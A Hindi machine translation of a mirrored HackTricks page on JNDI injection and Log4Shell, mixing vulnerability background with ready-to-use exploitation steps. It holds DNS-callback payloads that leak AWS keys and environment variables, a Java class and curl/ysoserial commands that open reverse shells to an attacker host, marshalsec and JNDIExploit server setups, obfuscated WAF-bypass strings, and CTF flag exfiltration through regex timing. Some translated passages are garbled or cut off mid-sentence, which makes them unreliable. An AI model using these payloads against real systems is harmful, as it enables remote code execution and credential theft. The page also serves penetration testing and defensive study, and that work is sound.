Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

Translator workflow 75e8745ba3 Translated to Hindi

2023-11-06 08:38:02 +00:00

53 KiB

Raw Blame History

JNDI - जावा नेमिंग और निर्देशिका इंटरफेस और Log4Shell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की अनुमति चाहिए? सदस्यता योजनाएं की जांच करें!
The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह।
आधिकारिक PEASS & HackTricks swag प्राप्त करें
💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।

विशेषता को ध्यान में रखते हुए विकसित किया गया है ताकि आप उन्हें तेजी से ठीक कर सकें। इंट्रूडर आपकी हमला सतह का पता लगाता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी टेक स्टैक, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक, मुद्दों का पता लगाता है। इसे मुफ्त में प्रयास करें आज।

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

मूलभूत जानकारी

JNDI जावा में 1990 के दशक से मौजूद है। यह एक निर्देशिका सेवा है जो एक नाम सेवा का उपयोग करके जावा कार्यक्रम को डेटा खोजने की अनुमति देती है। एक नाम सेवा मान्यताएं (बाइंडिंग) जोड़ता है, इसलिए इसका संदर्भ निर्देशिका में प्राप्त किया जा सकता है।

JNDI के पास कई सेवा प्रदाता इंटरफेस (SPIs) हैं जो इसे विभिन्न निर्देशिका सेवाओं का उपयोग करने की संभावना देते हैं। JNDI का उद्देश्य अन्य सिस्टम से डेटा प्राप्त करना बहुत आसानी से है। आप यहां तक कि आप दूरस्थ जावा ऑब्जेक्ट भी प्राप्त कर सकते हैं, और यहीं पर एक समस्या उत्पन्न होती है।

उदाहरण के लिए, CORBA COS (सामान्य ऑब्जेक्ट सेवा), जावा RMI (रिमोट मेथड इंटरफेस) रजिस्ट्री और LDAP के लिए SPIs मौजूद हैं।

JNDI नाम संदर्भ

जावा ऑब्जेक्ट प्राप्त करने के लिए आप उन्हें सीरियलाइज़ कर सकते हैं और बाइनरी प्रतिनिधि को सहेज सकते हैं। लेकिन कुछ मामलों में यह काम नहीं करेगा (शायद क्योंकि डेटा बहुत बड़ा है या कोई अन्य कारण है)।
जावा ऑब्जेक्ट्स को आसानी से सहेजने के लिए, नाम संदर्भों का उपयोग किया जाता है।
यहां 2 प्रकार के नाम संदर्भ हैं:

संदर्भ पते: इसमें ऑब्जेक्ट का पता दिया जाता है (rmi://server/ref), फिर ऑब्जेक्ट उस पते से प्राप्त किया जाएगा।
रिमोट फैक्टरी: इस मामले में एक रिमोट फैक्टरी कक्षा को JNDI संदर्भ में दिखाया जाएगा, फिर, JNDI पते का पालन करते हुए रिमोट कक्षा रिमोट फैक्टरी से ली जाएगी और कक्षा डाउनलोड और लोड की जाएगी।

यह खतरनाक है क्योंकि **हमलावर सिस्टम अनियमित ऑब्जेक्ट्स को लोड

CORBA

एक Interoperable Object Reference (IOR) CORBA या RMI-IIOP संदर्भ है जो एक दूरस्थ CORBA सर्वर पर एक ऑब्जेक्ट को अद्वितीयता से पहचानता है। IORs बाइनरी प्रारूप या बाइनरी के स्ट्रिंग हेक्स प्रतिनिधित्व में हो सकते हैं। अन्य जानकारी के बीच, इसमें Type ID (एक इंटरफेस के लिए एक अद्वितीय पहचानकर्ता) और Codebase (स्टब कक्षा प्राप्त करने के लिए उपयोग किए जाने वाले दूरस्थ स्थान) शामिल हैं। ध्यान दें कि डिफ़ॉल्ट रूप से CORBA का दुरुपयोग नहीं किया जा सकता है। इसकी आवश्यकता होती है:

एक सुरक्षा प्रबंधक स्थापित होना चाहिए
हमलावर द्वारा नियंत्रित कोडबेस कनेक्शन की अनुमति सुरक्षा प्रबंधक द्वारा दी जानी चाहिए। इसे अनुमति देने के लिए विभिन्न तरीके हैं:
सॉकेट अनुमति: permissions java.net.SocketPermission "*:1098-1099", "connect";
सभी फ़ाइलें पढ़ने की अनुमति देने वाली फ़ाइल अनुमति: permission java.io.FilePermission "<<ALL FILES>>", "read";
हमलावर को उपयोग करने के लिए फ़ोल्डर को पढ़ने की अनुमति देने वाली फ़ाइल अनुमति (वर्गों या ज़िप आर्काइव)

आप डिफ़ॉल्ट में इसे अनुमति देने वाले विक्रेताओं की नीतियों को पाएंगे।

RMI

पिछले JNDI Naming Reference Section में इंगित किया गया है कि RMI डिफ़ॉल्ट रूप से अनिश्चित जावा कक्षाओं को डाउनलोड करने की अनुमति नहीं देगा। और इसके अलावा, यदि ऐसा होगा भी, तो आपको सुरक्षा प्रबंधक नीतियों को दुर्गम करने की आवश्यकता होगी (पिछले खंड में हमने यह सीखा था कि यह CORBA के साथ संभव है)।

LDAP

सबसे पहले, हमें एक खोज और एक लुकअप के बीच भेद करना होगा। एक खोज एक URL का उपयोग करेगी जैसे ldap://localhost:389/o=JNDITutorial जिससे LDAP सर्वर से JNDITutorial ऑब्जेक्ट को खोजा जाएगा और इसके गुणों को प्राप्त किया जाएगा। एक लुकअप नेमिंग सेवाओं के लिए होता है क्योंकि हमें जो भी एक नाम से बांधा हुआ है उसे प्राप्त करना है।

यदि LDAP खोज को SearchControls.setReturningObjFlag() के साथ true के साथ आह्वान किया गया था, तो वापस मिलने वाला ऑब्जेक्ट पुनर्निर्मित होगा।

इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं। एक हमलावर लड़ाई रिकॉर्ड्स को अपने बीच में जहर घोल सकता है जो उनमें शामिल होंगे और उन्हें निष्पादित किए जाएंगे जो उन्हें इकट्ठा करने वाले सिस्टमों में (यदि आपके पास LDAP सर्वर तक पहुंच है तो यह बहुत उपयोगी होगा)। इसे शामिल करने का एक और तरीका यह हो सकता है कि एक LDAP खोज में MitM हमला किया जाए।

यदि आप एक ऐप को एक JNDI LDAP URL संकलित करने के लिए बना सकते हैं, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप वापस हमला भेज सकते हैं (log4shell)।

डिसीरियलाइज़ेशन हमला

हमला सीरीयकृत होता है और डिसीरियलाइज़ होगा। यदि trustURLCodebase true है, तो हमलावर अपनी कक्षाओं को कोडबेस में प्रदान कर सकता है यदि नहीं, तो उसे कक्षाओं में ग __"Log4j 2.16.0 ने इस समस्या को ठीक कर दिया है जिसमें संदेश खोज पैटर्न के समर्थन को हटा दिया गया है और JNDI कार्यक्षमता को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है," NVD सलाहकार का कहना है। 2.12.1 शाखा पर रहने वालों के लिए, एक ठीक कार्यक्षमता 2.12.2 में वापस लाई गई है।\

CVE-2021-4104 [उच्च]: क्या हमने कहा था कि Log4j 2.x संस्करण भी संकटग्रस्त हैं? लेकिन Log4j 1.x के बारे में क्या?

पहले सोचा जाता था कि यह सुरक्षित है, लेकिन Log4Shell ने पुराने Log4j में भी छिपने का तरीका ढूंढ़ लिया है। मूल रूप से, _JMSAppender_** कक्ष का उपयोग करके Log4j 1.x इंस्टेंसेज के गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन भी अविश्वसनीय डिसीरियलाइज़ेशन दोष के प्रति संवेदनशील हो जाते हैं**.

यद्यपि CVE-2021-44228 का एक कम गंभीर प्रकार है, फिर भी, यह CVE log4j:log4j और org.apache.log4j:log4j के सभी संस्करणों पर प्रभाव डालता है जिनमें केवल 1.x रिलीज़ मौजूद हैं। क्योंकि ये अंत-जीवन संस्करण हैं, 1.x शाखा के लिए कोई ठीक नहीं है, और आपको log4j-core 2.17.0 पर अपग्रेड करना चाहिए। (जाहिर है कि 1.0 प्रभावित नहीं होता है)।\
CVE-2021-42550 [मध्यम]: यह एक संकटग्रस्तता है Logback लॉगिंग फ्रेमवर्क में। Log4j 1.x पुस्तकालय के एक उत्तरदायी के रूप में, Logback दावा करता है कि यह "log4j 1.x के अंत करता है"।

पिछले सप्ताह तक, Logback ने भी दावा किया था कि यह "log4j 2.x से संबंधित नहीं है, [logback] इसके संकटग्रस्तताओं को साझा नहीं करता है"।

यह धारणा जल्दी ही ध्वस्त हो गई जब CVE-2021-4104 का पता चला कि यह Log4j 1.x पर भी प्रभाव डालता है, और Logback के प्रभाव की संभावना को मूल्यांकन किया गया। इस कम गंभीर संकटग्रस्तता को संबोधित करने वाले नए Logback संस्करण, 1.3.0-alpha11 और 1.2.9, अब जारी किए गए हैं।\
CVE-2021-45105 [उच्च]: Log4j 2.16.0 को एक DoS संकट के लिए संकटग्रस्त पाया गया है जिसे 'उच्च' गंभीरता स्तर के रूप में रेट किया गया है। Apache ने इसके बाद log4j 2.17.0 संस्करण को जारी किया है जो CVE को ठीक करता है। इस विकास के बारे में अधिक विवरण BleepingComputer की नवीनतम रिपोर्ट में दिए गए हैं।
CVE-2021-44832: यह नया CVE log4j के 2.17 संस्करण को प्रभावित करता है। यह संकटग्रस्तता हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल पर नियंत्रण रखने की आवश्यकता होती है क्योंकि एक कॉन्फ़िगर किए गए JDBCAppender में एक JDNI URL निर्दिष्ट करना संभव होता है। संकटग्रस्तता और उपयोग के बारे में जानकारी के लिए इस जानकारी को पढ़ें।

Log4Shell शोधार्थता

खोज

यह संकटग्रस्तता खोजना बहुत आसान है क्योंकि यह आपके पेलोड में निर्दिष्ट किए गए पते पर कम से कम एक DNS अनुरोध भेजेगा। इसलिए, इस तरह के पेलोड:

${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com का उपयोग करते हुए)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh का उपयोग करते हुए)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite का उपयोग करते हुए)
${jndi:ldap://2j4ayo.dnslog.cn} (dnslog का उपयोग करते हुए)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} ([

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

सत्यापन

पहले दिए गए कुछ प्लेटफॉर्म आपको कुछ चर डेटा डालने की अनुमति देंगे जो जब यह मांगा जाता है तो लॉग होगा।
इसका उपयोग 2 चीजों के लिए किया जा सकता है:

संकेत की सत्यापन के लिए
संकेत का दुरुपयोग करके जानकारी निकालने के लिए

उदाहरण के लिए, आप कुछ इस तरह का अनुरोध कर सकते हैं:
या ऐसा ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} और यदि एक DNS अनुरोध प्राप्त होता है जिसमें env चर का मान होता है, तो आपको पता चल जाएगा कि एप्लिकेशन में कमजोरी है।

आप अन्य जानकारी को छिपाने की कोशिश कर सकते हैं:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE जानकारी

{% hint style="info" %} JDK के संस्करण 6u141, 7u131, 8u121 से अधिक वाले होस्ट LDAP कक्षा लोडिंग वेक्टर के खिलाफ सुरक्षित होंगे लेकिन डेसीरियलाइज़ेशन वेक्टर के खिलाफ सुरक्षित नहीं होंगे। इसका कारण है कि com.sun.jndi.ldap.object.trustURLCodebase डिफ़ॉल्ट रूप से अक्षम होता है, इसलिए JNDI LDAP का उपयोग दूरस्थ कोडबेस लोड करने के लिए नहीं कर सकता है। लेकिन हमें डेसीरियलाइज़ेशन और चर लीक करने की क्षमता को अभी भी संभव है।
इसका मतलब है कि उल्लिखित संस्करणों को शोषण करने के लिए आपको जावा एप्लिकेशन पर मौजूदा किसी भी विश्वसनीय गैजेट का दुरुपयोग करने की आवश्यकता होगी (उदाहरणार्थ, ysoserial या JNDIExploit का उपयोग करके)। लेकिन कम संस्करणों को शोषण करने के लिए, आप उन्हें एकांतरिक कक्षाओं को लोड और कार्यान्वयन करने के लिए बना सकते हैं (जिससे हमला आसान हो जाता है)।

अधिक जानकारी के लिए (जैसे RMI और CORBA वेक्टर पर सीमाएँ) पिछले JNDI Naming Reference खंड की जांच करें या https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ पर जाएं। {% endhint %}

RCE - कस्टम पेलोड के साथ Marshalsec

यह ट्रिक पूरी तरह से THM बॉक्स से ली गई है: https://tryhackme.com/room/solar__

इस शोषण के लिए उपकरण marshalsec (यहां से जार संस्करण डाउनलोड करें) का उपयोग किया जाएगा, जो एक LDAP referral सर्वर बनाने के लिए उपयोग होगा जो कनेक्शन को हमारे द्वितीय HTTP सर्वर पर पुनर्निर्देशित करेगा जहां हम हमला करेंगे:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

हम चाहते हैं कि पीड़ित व्यक्ति कोड लोड करे जो हमें एक रिवर्स शेल भेजेगा, इसलिए आप निम्नलिखित सामग्री के साथ एक जावा फ़ाइल बना सकते हैं जिसका नाम Exploit.java होगा:

{% code title="" %}

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

{% endcode %}

फ़ाइल बनाने के लिए क्लास फ़ाइल बनाएं: javac Exploit.java -source 8 -target 8 और फिर एक HTTP सर्वर चलाएं जिसे उसी निर्देशिका में बनाई गई क्लास फ़ाइल है: python3 -m http.server।
marshalsec के LDAP सर्वर को इस HTTP सर्वर की ओर पोइंट करना चाहिए।
फिर, आप विकल्पनीय वेब सर्वर को एक्सप्लॉइट क्लास को निष्पादित करने के लिए एक पेलोड भेज सकते हैं जैसे:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

कृपया ध्यान दें कि यदि जावा को एलडीएपी का उपयोग करके दूरस्थ कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है, तो यह कस्टम उत्पादन नुकसानदायक काम नहीं करेगा। उस मामले में, आपको एक विश्वसनीय कक्षा का दुरुपयोग करने के लिए अनुमति चाहिए जिससे विचारहीन कोड को निष्पादित किया जा सके।

RCE - JNDIExploit

{% hint style="info" %} ध्यान दें कि किसी कारण से लेखक ने लॉग4शैल की खोज के बाद इस प्रोजेक्ट को github से हटा दिया है। आप इसका कैश किया हुआ संस्करण यहां पाएंगे: https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं, तो इस खोज को नुकसानदायक करने के लिए एक अलग विधि का उपयोग करें।

इसके अलावा, आप वेबवे मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या जार फ़ाइल को निष्पादित करें जानते हुए कि आप जानते नहीं हैं कि आप क्या निष्पादित कर रहे हैं। {% endhint %}

इस उदाहरण के लिए आप सिर्फ इस वंशावली वेब सर्वर को लॉग4शैल के लिए नुकसानदायक पोर्ट 8080 में चला सकते हैं: https://github.com/christophetd/log4shell-vulnerable-app (README में आपको इसे कैसे चलाने के बारे में जानकारी मिलेगी). यह नुकसानदायक ऐप एक नुकसानदायक संस्करण के साथ एचटीटीपी अनुरोध हेडर X-Api-Version की सामग्री को लॉग कर रहा है।

फिर, आप JNDIExploit जार फ़ाइल डाउनलोड कर सकते हैं और इसे निम्नलिखित के साथ निष्पादित कर सकते हैं:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

एक कुछ मिनट के बाद कोड पढ़ने के बाद, com.feihong.ldap.LdapServer और com.feihong.ldap.HTTPServer में आप देख सकते हैं कि कैसे LDAP और HTTP सर्वर बनाए जाते हैं। LDAP सर्वर समझेगा कि कौन सा पेलोड सेवा करना है और पीड़ित को HTTP सर्वर पर रीडायरेक्ट करेगा, जो एक्सप्लॉइट सेवा करेगा।
कॉम.फेहोंग.एलडीएपी.गैजेट्स में आप कुछ विशिष्ट गैजेट्स देख सकते हैं जो इच्छित कार्रवाई को करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से अनियमित कोड को निष्पादित करें)। और कॉम.फेहोंग.एलडीएपी.टेम्पलेट में आप विभिन्न टेम्पलेट कक्षाएं देख सकते हैं जो एक्सप्लॉइट उत्पन्न करेंगी।

आप java -jar JNDIExploit-1.2-SNAPSHOT.jar -u के साथ सभी उपलब्ध एक्सप्लॉइट्स देख सकते हैं। कुछ उपयोगी एक्सप्लॉइट्स हैं:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

तो, हमारे उदाहरण में, हम पहले से ही वह डॉकर अप्प चल रहा है। इसे हमला करने के लिए:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

आप अटैक भेजते समय उस टर्मिनल में कुछ आउटपुट देखेंगे जहां आपने JNDIExploit-1.2-SNAPSHOT.jar को चलाया था।

याद रखें कि अन्य शोषण विकल्पों के लिए java -jar JNDIExploit-1.2-SNAPSHOT.jar -u की जांच करें। इसके अलावा, यदि आपको आवश्यकता हो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।

RCE - JNDI-Exploit-Kit

पिछले एक्सप्लॉइट की तरह, आप इस संकटग्रस्तता का शोषण करने के लिए JNDI-Exploit-Kit का उपयोग करने का प्रयास कर सकते हैं।
आप पीड़ित को भेजने के लिए URL उत्पन्न कर सकते हैं:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

इस अटैक में एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग केवल THM सोलर रूम जैसे लैब में काम करेगा। हालांकि, यह आमतौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को रिमोट कोडबेस लोड करने के लिए LDAP का उपयोग करने की कॉन्फ़िगरेशन नहीं होती है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है जिससे अनियमित कोड को निष्पादित किया जा सके।

RCE - ysoserial और JNDI-Exploit-Kit

यह विकल्प वास्तव में उपयोगी है जावा संस्करणों को हमेशा केवल निर्दिष्ट क्लासों पर विश्वास करने और सभी को नहीं। इसलिए, ysoserial का उपयोग किया जाएगा जो विश्वसनीय क्लासों के serialization को उत्पन्न करने के लिए उपयोग किया जा सकता है जो कि गैजेट्स के रूप में उपयोग किए जा सकते हैं और अनियमित कोड को निष्पादित कर सकते हैं (ysoserial द्वारा दुरुपयोग किए जाने वाले विश्वसनीय क्लास का उपयोग विक्टिम जावा प्रोग्राम द्वारा किया जाना चाहिए ताकि एक्सप्लॉइट काम कर सके)।

ysoserial या ysoserial-modified का उपयोग करके आप JNDI द्वारा डाउनलोड किए जाने वाले डिसीरियलाइज़ेशन एक्सप्लॉइट बना सकते हैं:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit का उपयोग करें ताकि JNDI लिंक उत्पन्न किए जा सकें, जहां अपरिहार्य मशीनों से कनेक्शन की प्रतीक्षा कर रहा हो। आप JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए जा सकने वाले विभिन्न अपराध या अपने अपशंसनीय पेलोड (आपके द्वारा उत्पन्न या ysoserial द्वारा उत्पन्न) को सर्व कर सकते हैं।

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संक्रमितता को शोधने और एक रिवर्स शैल प्राप्त करने के लिए उपयोग कर सकते हैं: ${ldap://10.10.14.10:1389/generated}

बाईपास

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

स्वचालित स्कैनर

https://github.com/fullhunt/log4j-scan
https://github.com/adilsoybali/Log4j-RCE-Scanner
https://github.com/silentsignal/burp-log4shell
https://github.com/cisagov/log4j-scanner
https://github.com/Qualys/log4jscanwin
https://github.com/hillu/local-log4j-vuln-scanner
https://github.com/logpresso/CVE-2021-44228-Scanner
https://github.com/palantir/log4j-sniffer - स्थानीय गलियारों को खोजें

परीक्षण के लिए लैब

पोस्ट-Log4Shell उत्पीड़न

इस CTF writeup में अच्छी तरह से समझाया गया है कि Log4J के कुछ सुविधाओं का दुरुपयोग करना संभव है।

Log4j के सुरक्षा पृष्ठ में कुछ दिलचस्प वाक्य हैं:

संस्करण 2.16.0 (जावा 8 के लिए) से, संदेश लुकअप सुविधा पूरी तरह से हटा दी गई है। कॉन्फ़िगरेशन में लुकअप काम करते हैं। इसके अलावा, लॉग4जे अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम कर देता है। कॉन्फ़िगरेशन में JNDI लुकअप को अब विशेष रूप से सक्षम करना चाहिए।

संस्करण 2.17.0 (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को रिकर्सिव रूप से विस्तारित किया जाता है; किसी अन्य उपयोग में, केवल शीर्ष-स्तर का लुकअप हल किया जाता है, और किसी भी नेस्टेड लुकअप को हल नहीं किया जाता है।

इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी jndi अभियांत्रिकी का उपयोग भूल सकते हैं। इसके अलावा, रिकर्सिव लुकअप करने के लिए आपको उन्हें कॉन्फ़िगर करना चाहिए।

उदाहरण के लिए, उस CTF में यह फ़ाइल log4j2.xml में कॉन्फ़िगर किया गया था:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

एनवायरनमेंट लुकअप

इस CTF में हमलावर ने ${sys:cmd} के मान को नियंत्रित किया था और उसे एनवायरनमेंट वेरिएबल से फ्लैग को निकालने की आवश्यकता थी।
जैसा कि पिछले पेलोड में देखा गया है, एनवायरनमेंट वेरिएबल को एक्सेस करने के लिए विभिन्न तरीके हैं, जैसे: ${env:FLAG}। इस CTF में यह अनुपयोगी था, लेकिन यह अन्य वास्तविक जीवन के परिदृश्यों में नहीं हो सकता है।

अपवाद में एक्सफिल्ट्रेशन

CTF में, आप लॉग4जे का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं पा रहे थे, लेकिन लॉग4जे अपवाद stdout पर भेजे जाते हैं, जो पायथन ऐप में प्रिंट होते हैं। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। एक अपवाद जिसका उपयोग फ्लैग को एक्सफिल्ट्रेट करने के लिए किया गया था था: ${java:${env:FLAG}}. यह काम करता है क्योंकि ${java:CTF{blahblah}} मौजूद नहीं है और एक अपवाद में फ्लैग के मान को दिखाया जाएगा:

परिवर्तन पैटर्न अपवाद

बस इसे उल्लेख करने के लिए, आप नए परिवर्तन पैटर्न को इंजेक्ट कर सकते हैं और अपवाद को लॉग करने के लिए ट्रिगर कर सकते हैं जो stdout पर लॉग होगा। उदाहरण के लिए:

यह त्रुटि संदेश के अंदर तिथि को एक्सफिल्ट्रेट करने के लिए उपयोगी नहीं था, क्योंकि परिवर्तन पैटर्न से पहले लुकअप हल नहीं हुआ था, लेकिन यह डिटेक्ट करने जैसी अन्य चीजों के लिए उपयोगी हो सकता है।

परिवर्तन पैटर्न रेजेक्स

हालांकि, एक लुकअप से जानकारी को एक्सफिल्ट्रेट करने के लिए कुछ रेजेक्स समर्थित परिवर्तन पैटर्न का उपयोग किया जा सकता है, जहां रेजेक्स का उपयोग करके बाइनरी खोज या समय आधारित व्यवहार का दुरुपयोग किया जा सकता है।

अपवाद संदेश के माध्यम से बाइनरी खोज

परिवर्तन पैटर्न %replace का उपयोग करके आप एक स्ट्रिंग से सामग्री को रिप्लेस कर सकते हैं, यहां तक कि रेजेक्स का उपयोग करके। यह इस प्रकार काम करता है: replace{pattern}{regex}{substitution}
इस व्यवहार का दुरुपयोग करके आप रिप्लेस को ट्रिगर कर सकते हैं अगर रेजेक्स कुछ स्ट्रिंग के अंदर मिल गया (और अगर यह नहीं मिला था तो कोई अपवाद नहीं होगा) इस तरह से:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

टाइम आधारित

पिछले खंड में उल्लिखित किया गया था कि %replace रेजेक्स को समर्थन करता है। इसलिए, ReDoS पेज से पेलोड का उपयोग करके एक टाइमआउट को उत्पन्न करना संभव है यदि फ्लैग मिल जाता है।
उदाहरण के लिए, एक पेलोड जैसे %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} उस CTF में एक टाइमआउट को ट्रिगर करेगा।

इस writeup में, एक ReDoS हमले का उपयोग नहीं किया गया, बल्कि यह एक वृद्धि हमला का उपयोग करके प्रतिक्रिया में समय अंतर को उत्पन्न किया:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
यदि फ्लैग flagGuess से शुरू होता है, तो पूरा फ्लैग 29 #-s के साथ बदल दिया जाता है (मैंने इस वर्ण का उपयोग इसलिए किया है क्योंकि यह फ्लैग का हिस्सा होने की संभावना कम है)। प्रत्येक परिणामस्वरूप 29 #-s को फिर से 54 #-s से बदल दिया जाता है। इस प्रक्रिया को 6 बार दोहराया जाता है, जिससे कुल 29*54*54^6* =`` ``96816014208 #-s! होते हैं।

इतने सारे #-s को बदलने से Flask एप्लिकेशन का 10 सेकंड का टाइमआउट ट्रिगर होगा, जिससे प्रतिक्रिया में HTTP स्थिति कोड 500 उपयोगकर्ता को भेजा जाएगा। (यदि फ्लैग flagGuess से शुरू नहीं होता है, हमें गैर-500 स्थिति कोड प्राप्त होगा)

संदर्भ

विशेषताएं

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥